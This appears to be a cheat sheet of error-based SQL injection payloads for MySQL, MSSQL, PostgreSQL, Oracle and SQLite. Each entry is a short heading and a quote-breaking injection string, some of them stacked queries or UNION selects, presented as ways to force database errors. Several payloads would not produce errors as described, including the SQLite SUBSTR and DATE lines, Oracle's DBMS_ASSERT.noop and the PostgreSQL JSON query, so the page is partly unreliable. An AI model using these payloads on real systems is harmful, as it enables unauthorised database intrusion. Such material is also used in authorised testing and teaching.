# Generate Errors

## Advanced Methods to Forcefully Generate Errors on Various DBMS <a href="#advanced-methods-to-forcefully-generate-errors-on-various-dbms" id="advanced-methods-to-forcefully-generate-errors-on-various-dbms"></a>

## <mark style="color:red;">----------------------------------------------------------------</mark>

## <mark style="color:yellow;">MySQL</mark> <a href="#mysql" id="mysql"></a>

## **Use of Invalid Functions**

MySQL provides many functions that, when used incorrectly, can generate errors.

```
' AND EXP(~(SELECT * FROM (SELECT 1) t)) -- 
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Invalid Hexadecimal Conversion**

Using invalid hexadecimal values can cause errors.

```
' AND 0xG1 -- 
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Subqueries in SELECT Clause**

Use subqueries that return multiple rows in a single value context.

```
' AND (SELECT * FROM (SELECT 1,2) t) = 1 -- 
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## <mark style="color:yellow;">MSSQL</mark> <a href="#mssql" id="mssql"></a>

## **Invalid XML Queries**

MSSQL’s XML functions can generate errors when used with invalid XML.

```
'; DECLARE @xml XML; SET @xml = '<root><a></a><b></b></root>'; SELECT @xml.value('(/root/c)[1]', 'INT') --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Invalid Data Conversion**

Conversion functions can cause errors when converting incompatible data types.

```
'; SELECT CAST('text' AS INT) --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **SQL Injection with Error Functions**

Use built-in error functions to generate errors.

```
'; RAISERROR('Error generated', 16, 1) --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## <mark style="color:yellow;">PostgreSQL</mark> <a href="#postgresql" id="postgresql"></a>

## **Invalid Regular Expression**

PostgreSQL's regex functions can be used incorrectly to cause errors.

```
' AND 'a' ~ 'b[' -- 
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Invalid JSON Operations**

Use JSON functions with invalid operations.

```
' AND jsonb_path_query_first('{"a":1}', '$.a') -- 
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Recursive CTE**

Use recursive Common Table Expressions (CTE) incorrectly.

```
' AND WITH RECURSIVE t AS (SELECT 1 UNION ALL SELECT 1 FROM t) SELECT * FROM t -- 
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## <mark style="color:yellow;">Oracle</mark> <a href="#oracle" id="oracle"></a>

## **Invalid Data Manipulation**

Oracle’s specific functions and data manipulation can cause errors.

```
' UNION SELECT UTL_INADDR.get_host_address('invalid_host') FROM dual --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Invalid XMLType Usage**

Use XMLType improperly to cause errors.

```
' UNION SELECT XMLType('<invalid><xml>') FROM dual --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Using SYS.DBMS\_ASSERT**

Leverage Oracle’s assertion package to force errors.

```
' UNION SELECT SYS.DBMS_ASSERT.noop('invalid_input') FROM dual --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## <mark style="color:yellow;">SQLite</mark> <a href="#sqlite" id="sqlite"></a>

## **Invalid String Functions**

SQLite’s string functions can generate errors when used improperly.

```
' UNION SELECT SUBSTR('text', -1, 1) --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Invalid Mathematical Operations**

Use mathematical functions with invalid inputs.

```
' UNION SELECT POW('text', 2) --
```

## <mark style="color:red;">----------------------------------------------------------------</mark>

## **Invalid Date Functions**

Use date functions with incorrect parameters.

```
' UNION SELECT DATE('invalid_date') --
```
